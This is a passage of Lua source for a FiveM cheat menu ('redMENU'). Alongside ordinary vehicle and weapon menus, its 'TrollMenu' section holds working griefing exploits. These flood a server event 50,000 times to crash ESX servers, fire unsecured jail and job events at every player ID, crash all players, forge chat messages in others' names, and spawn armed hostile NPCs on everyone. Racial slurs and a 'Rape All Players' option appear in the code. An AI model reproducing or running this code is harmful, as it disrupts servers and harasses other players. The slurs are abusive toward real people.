selectedMenuX, function(currentIndex, selectedIndex)
currentMenuX = currentIndex
selectedMenuX = selectedIndex
for i = 0, #allMenus do
redMENU.SetMenuX(allMenus[i], menuX[currentMenuX])
end
end)
then
elseif redMENU.ComboBox("Menu Y", menuY, currentMenuY,
selectedMenuY, function(currentIndex, selectedIndex)
currentMenuY = currentIndex
selectedMenuY = selectedIndex
for i = 0, #allMenus do
redMENU.SetMenuY(allMenus[i], menuY[currentMenuY])
end
end)
then
elseif redMENU.CheckBox("Discord Rich Presence",
discordPresence, function(enabled) discordPresence = enabled end) then
elseif redMENU.MenuButton("Credits", "Credits") then
elseif redMENU.MenuButton("Themes", "Themes") then
elseif redMENU.MenuButton("Info", "InfoMenu") then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("InfoMenu") then
if redMENU.Button("Build 0.9") then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("Themes") then
if redMENU.Button("Original") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(allMenus[i], 255, 0, 0, 255)
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 255, 0, 0, 255)
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 255, 0, 0, 255)
end
elseif redMENU.Button("Original Rainbow") then
animated = false
rainbow = true
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
elseif redMENU.Button("Original White") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
elseif redMENU.Button("Original Green") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(allMenus[i], 0, 255, 0, 255)
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 0, 255, 0, 255)
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 0, 255, 0, 255)
end
elseif redMENU.Button("Original Blue") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(allMenus[i], 0, 0, 255, 255)
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
redMENU.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
elseif redMENU.Button("Gradient Black") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i], "shared",
"bggradient_16x512")
redMENU.SetSpriteColor(allMenus[i], 0, 0, 255, 255)
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id, "shared",
"bggradient_16x512")
redMENU.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id, "shared",
"bggradient_16x512")
redMENU.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
elseif redMENU.Button("Animated") then
for i = 0, #allMenus do
redMENU.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
rainbow = false
animated = true
elseif redMENU.Button("God") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"assassinations", "target1")
redMENU.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"assassinations", "target1")
redMENU.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"assassinations", "target1")
redMENU.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
elseif redMENU.Button("God2") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
redMENU.SetTitleBackgroundSprite(allMenus[i],
"assassinations", "target3")
redMENU.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
redMENU.SetTitleBackgroundSprite(dA.id,
"assassinations", "target3")
redMENU.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
for i, dA in pairs(be) do
redMENU.SetTitleBackgroundSprite(dA.id,
"assassinations", "target3")
redMENU.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("Credits") then
if redMENU.Button("Made By: Mestari Halla-aho#7167") then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("WeaponTypes") then
for e0, ev in pairs(b7) do
if redMENU.MenuButton(""..e0, "WeaponTypeSelection") then
dy = ev
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("WeaponTypeSelection") then
for e0, ev in pairs(dy) do
if redMENU.MenuButton(ev.name, "WeaponOptions")
then
dz = ev
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("WeaponOptions") then
if redMENU.Button("Spawn Weapon") then
GiveWeaponToPed(GetPlayerPed(-1), GetHashKey(dz.id), 1000,
false)
end
if redMENU.Button("Remove Weapon") then
RemoveWeaponFromPed(GetPlayerPed(-1), GetHashKey(dz.id))
end
if redMENU.Button("Add Ammo") then
SetPedAmmo(GetPlayerPed(-1), GetHashKey(dz.id), 5000)
end
if redMENU.CheckBox("Infinite ~s~Ammo",
dz.bInfAmmo, function(ew) end) then
dz.bInfAmmo = not dz.bInfAmmo
SetPedInfiniteAmmo(GetPlayerPed(-1),
dz.bInfAmmo, GetHashKey(dz.id)) SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
PedSkipNextReloading(GetPlayerPed(-1))
SetPedShootRate(GetPlayerPed(-1), 1000)
end
for e0, ev in pairs(dz.mods) do
if redMENU.MenuButton(""..e0, "ModSelect")
then
dA = ev
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("ModSelect") then
for _, ev in pairs(dA) do
if redMENU.Button(ev.name) then
GiveWeaponComponentToPed(GetPlayerPed(-
1), GetHashKey(dz.id), GetHashKey(ev.id))
elseif redMENU.Button("~r~Remove " ..
ev.name) then
RemoveWeaponComponentFromPed(GetPlayerPed(-1), GetHashKey(dz.id),
GetHashKey(ev.id))
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("TrollMenu") then
if redMENU.Button("ESX Server Crasher") then
for i = 1, 50000 do
TriggerServerEvent('esx_skin:responseSaveSkin', {niggers = 'gay'})
TriggerServerEvent('esx_skin:responseSaveSkin', 'niggers eat shit') end
elseif redMENU.Button("ESX Send All To Jail") then
for i = 1, 128 do
TriggerServerEvent("esx-qalle-jail:jailPlayer", i,
5000,"Jailed")
TriggerServerEvent("esx_jailer:sendToJail", i,
45*60)
TriggerServerEvent("esx_jail:sendToJail", i, 45*60)
TriggerServerEvent("js:jailuser", i, 45*60,"Jailed")
end
elseif redMENU.MenuButton("Block Off Areas", "BlockAreas") then
elseif redMENU.MenuButton("Spawn Peds On Players",
"SpawnPedsMenu") then
elseif redMENU.Button("Nuke Server") then
nukeserver()
elseif redMENU.Button("Rape All Players") then
runOnAll(rape)
elseif redMENU.CheckBox("Spam Chat", spam, function(enabled)
spam = enabled end) then
elseif redMENU.Button("Change Spam Message") then
local temp = KeyboardInput("Enter Message Here", "", 10000)
message = temp
elseif redMENU.CheckBox("Explode Everyone", blowall,
function(enabled) blowall = enabled end) then
elseif redMENU.CheckBox("Freeze Everyone", fall,
function(enabled) fall = enabled end) then
elseif redMENU.CheckBox("Explode Everyone Shooting", shootBomb,
function(enabled) shootBomb = enabled end) then
elseif redMENU.CheckBox("Spawn Shit On Everyone", sall,
function(enabled) sall = enabled end) then
elseif redMENU.CheckBox("Block Everyone From Running", runtog,
function(enabled) runtog = enabled end) then
elseif redMENU.Button("Kick Everyone Out Of Car") then
for i = 0, 128 do
ClearPedTasksImmediately(GetPlayerPed(i))
end
elseif redMENU.Button("Crash All Players") then
runOnAll(crash)
elseif redMENU.Button("Fake Message") then
local da=KeyboardInput("Enter player name","",100)
if da then
local ck=KeyboardInput("Enter message","",1000)
if ck then
TriggerServerEvent('_chat:messageEntered',da,
{0,0x99,255},ck)
end
end
elseif redMENU.Button("ESX Set All Police") then
for i = 0, 128 do
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(i), "police", 3)
TriggerServerEvent('NB:recruterplayer', i, "police", 3)
end
elseif redMENU.Button("ESX Set All Mechanic") then
for i = 0, 128 do
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(i), "mecano", 3)
TriggerServerEvent('NB:recruterplayer', i, "mecano", 3)
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("BlockAreas") then
if redMENU.Button("Car Dealer") then
local wallHash = GetHashKey("stt_prop_stunt_track_slope15")
RequestModel(wallHash)
local e4 = 0
while not HasModelLoaded(wallHash) do
e4 = e4 + 100
Citizen.Wait(100)
if e4 > 5000 then
debugPrint("Failed to load model")
break
end
end
local wall1 = CreateObject(wallHash, -44.6, -1069.5, 91.9,
true, true, true)
SetEntityRotation(wall1, 0.0, -0.0, 160.5560, 1, true)
end
redMENU.Display()
elseif redMENU.IsMenuOpened("tunings") then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, dA in pairs(bd) do
if dA.
id == "extra"
and# checkValidVehicleExtras() ~= 0 then
if redMENU.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"neon"
then
if redMENU.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"paint"
then
if redMENU.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"wheeltypes"
then
if redMENU.MenuButton(dA.name, dA.id) then end elseif dA.id ==
"headlight"
then
if redMENU.MenuButton(dA.name, dA.id) then end
else local as = checkValidVehicleMods(dA.id) for dG, dH in
pairs(as) do
if redMENU.MenuButton(dA.name, dA.id) then end;
break end end end;
if IsToggleModOn(veh, 22) then xenonStatus = "Installed"
else xenonStatus = "Not Installed"
end;
if redMENU.Button("Xenon Headlight", xenonStatus) then
if not IsToggleModOn(veh, 22) then ToggleVehicleMod(veh, 22,
not IsToggleModOn(veh, 22))
else ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22)) end
end;
redMENU.Display()
elseif redMENU.IsMenuOpened("performance") then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, dA in pairs(be) do
if redMENU.MenuButton(dA.name, dA.id) then
end
end
if IsToggleModOn(veh, 18) then
turboStatus = "Installed"
else
turboStatus = "Not Installed"
end
if redMENU.Button("Turbo Tune", turboStatus) then
if not IsToggleModOn(veh, 18) then
ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
else
ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
end
end
redMENU.Display() elseif redMENU.IsMenuOpened("primary") then
redMENU.MenuButton("Classic", "classic1") redMENU.MenuButton("Metallic",
"metallic1") redMENU.MenuButton("Matte", "matte1") redMENU.MenuButton("Metal",
"metal1") redMENU.Display() elseif redMENU.IsMenuOpened("secondary") then
redMENU.MenuButton("Classic", "classic2") redMENU.MenuButton("Metallic",
"metallic2") redMENU.MenuButton("Matte", "matte2") redMENU.MenuButton("Metal",
"metal2") redMENU.Display() elseif redMENU.IsMenuOpened("rimpaint") then
redMENU.MenuButton("Classic", "classic3") redMENU.MenuButton("Metallic",
"metallic3") redMENU.MenuButton("Matte", "matte3") redMENU.MenuButton("Metal",
"metal3") redMENU.Display() elseif redMENU.IsMenuOpened("classic1") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec)
SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true elseif b8 and curprim
== dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh,
dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id
then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("metallic1") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec)
SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true elseif b8 and curprim
== dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh,
dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id
then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("matte1") then
for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
SetVehicleColours(veh, dT.id, oldsec) b8 = true elseif b8 and curprim == dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("metal1") then
for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if
tp ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and tp == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, dT.id, oldwheelcolour)
SetVehicleColours(veh, dT.id, oldsec) b8 = true elseif b8 and curprim == dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then
SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id,
oldwheelcolour) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("classic2") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("metallic2") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("matte2") then
for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("metal2") then
for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if
ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif
b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim,
dT.id) b8 = true end end end; redMENU.Display() elseif
redMENU.IsMenuOpened("classic3") then
for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true
elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end;
redMENU.Display() elseif redMENU.IsMenuOpened("metallic3") then
for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true
elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end;
redMENU.Display() elseif redMENU.IsMenuOpened("matte3") then
for dS, dT in pairs(bi) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true
elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end;
redMENU.Display() elseif redMENU.IsMenuOpened("metal3") then
for dS, dT in pairs(bj) do _, ts = GetVehicleExtraColours(veh)
if ts ==
dT.id and not b8 then pricetext = "Installed"
else if b8 and ts == dT.id then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
redMENU.Button(dT.name, pricetext) then
if not b8 then ba = "paint"
bc = false
oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh)
b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
SetVehicleExtraColours(veh, oldpearl, dT.id)
b8 = true elseif b8 and currims == dT.id then
SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = false; ba
= -1; b9 = -1 elseif b8 and currims ~= dT.id then SetVehicleExtraColours(veh,
oldpearl, dT.id) b8 = true end end end;
redMENU.Display()
elseif redMENU.IsMenuOpened("SpawnPedsMenu") then
if redMENU.Button("Mountain Lion") then
local model = 307287994
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
Citizen.Wait(0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(29, model, coords.x, coords.y,
coords.z + 1.0, 1, true, true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
elseif redMENU.Button("Alien With Ak") then
local model = 1684083350
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
Citizen.Wait(0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(21, model, coords.x, coords.y,
coords.z + 1.0, 1, true, true)
if DoesEntityExist(ped) then
GiveWeaponToPed(ped,GetHashKey("WEAPON_ASSAULTRIFLE"),9999,1,1)
SetEntityInvincible(ped,true)
SetPedCanSwitchWeapon(ped,true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("TeleportMenu") then
if redMENU.Button("Teleport To Waypoint") then
TeleportToWaypoint()
elseif redMENU.Button("Teleport Into Nearest Vehicle") then
teleportToNearestVehicle()
elseif redMENU.Button("Teleport To Coords") then
TeleportToCoords()
elseif redMENU.CheckBox(
"Show Coords",
showCoords,
function(enabled)
showCoords = enabled
end)
then
elseif redMENU.Button("Draw Custom Blip") then
bk()
end
redMENU.Display()
elseif redMENU.IsMenuOpened("VehMenu") then
if redMENU.Button("Repair Vehicle") then
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0)
SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1),
false), false)
Citizen.InvokeNative(0x1FD09E7390A74D54,
GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
elseif redMENU.Button("Spawn Custom Vehicle") then
local ped = GetPlayerPed(-1)
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)
if ModelName and IsModelValid(ModelName) and
IsModelAVehicle(ModelName) then
RequestModel(ModelName)
while not HasModelLoaded(ModelName) do
Citizen.Wait(0)
end
if DelCurVeh and IsPedInAnyVehicle(ped, true) then
local vehicle =
GetVehiclePedIsUsing(GetPlayerPed(-1))
SetEntityAsMissionEntity(vehicle, true, true)
DeleteVehicle(vehicle)
end
local veh = CreateVehicle(GetHashKey(ModelName),
GetEntityCoords(ped), GetEntityHeading(ped), true, true)
if SpawnInVeh then
SetPedIntoVehicle(ped, veh, -1)
end
else
drawNotification("~r~Model is not valid!")
end
elseif redMENU.MenuButton("Vehicle Spawner", "CarTypes") then
elseif redMENU.MenuButton("Spawn options", "VehSpawnOpt") then
elseif redMENU.MenuButton("LC Customs", "NiggerCustoms") then
elseif redMENU.Button("Delete Vehicle") then
DelVeh(GetVehiclePedIsUsing(PlayerPedId()))
elseif redMENU.Button("Delete Closest Vehicle") then
local PlayerCoords = GetEntityCoords(PlayerPedId())
DelVeh(GetClosestVehicle(PlayerCoords.x, PlayerCoords.y,
PlayerCoords.z, 1000.0, 0, 4))
end
redMENU.Display()
elseif redMENU.IsMenuOpened("CarTypes") then
for i, e3 in ipairs(aX) do
if redMENU.MenuButton(" "..e3, "CarTypeSelection") then
carTypeIdx = i
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("CarTypeSelection") then
for i, e3 in ipairs(aY[carTypeIdx]) do
if redMENU.MenuButton(" "..e3, "CarOptions") then
carToSpawn = i
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("CarOptions") then
if redMENU.Button("Spawn Car") then
local x, y, z =
table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 0.0, 0.5))
local veh = aY[carTypeIdx][carToSpawn]
if veh == nil then
veh = "adder"
end
vehiclehash = GetHashKey(veh)
RequestModel(vehiclehash)
Citizen.CreateThread(function()
local e4 = 0
while not HasModelLoaded(vehiclehash) do
e4 = e4 + 100
Citizen.Wait(100)
if e4 > 5000 then
ShowNotification("~r~Cannot spawn this vehicle.")
break
end
end
if DelCurVeh and IsPedInAnyVehicle(GetPlayerPed(-1), true)
then
local vehicle = GetVehiclePedIsUsing(GetPlayerPed(-1))
SetEntityAsMissionEntity(vehicle, true, true)
DeleteVehicle(vehicle)
end
SpawnedCar = CreateVehicle(vehiclehash, x, y, z,
GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
SetVehicleStrong(SpawnedCar, true)
SetVehicleEngineOn(SpawnedCar, true, true, false)
SetVehicleEngineCanDegrade(SpawnedCar, false)
if SpawnInVeh then
SetPedIntoVehicle(GetPlayerPed(-1), SpawnedCar, -1)
end
end)
end
redMENU.Display()
elseif redMENU.IsMenuOpened("NiggerCustoms") then
if redMENU.CheckBox(
"Super Handling",
superGrip,
function(enabled)
superGrip = enabled
enchancedGrip = false
driftMode = false
fdMode = false
end)
then
elseif redMENU.CheckBox(
"Enchanced Grip",
enchancedGrip,
function(enabled)
superGrip = false
enchancedGrip = enabled
driftMode = false
fdMode = false
end)
then
elseif redMENU.CheckBox(
"Drift Mode",
driftMode,
function(enabled)
superGrip = false
enchancedGrip = false
driftMode = enabled
fdMode = false
end)
then
elseif redMENU.CheckBox(
"Formula Drift Mode",
fdMode,
function(enabled)
superGrip = false
enchancedGrip = false
driftMode = false
fdMode = enabled
end)
then
elseif redMENU.MenuButton("Torque Boost", "VehBoostMenu") then
elseif redMENU.MenuButton("Performance Tuning", "performance")
then
elseif redMENU.MenuButton("Exterior Tuning", "tunings") then
elseif redMENU.Button("Max Tuning") then
MaxOut(GetVehiclePedIsUsing(PlayerPedId()))
elseif redMENU.Button("Max Performance") then
MaxOutPerf(GetVehiclePedIsUsing(PlayerPedId()))
end
redMENU.Display()
elseif redMENU.IsMenuOpened("VehBoostMenu") then
if redMENU.CheckBox(
"Torque Boost 2x",
t2x,
function(enabled)
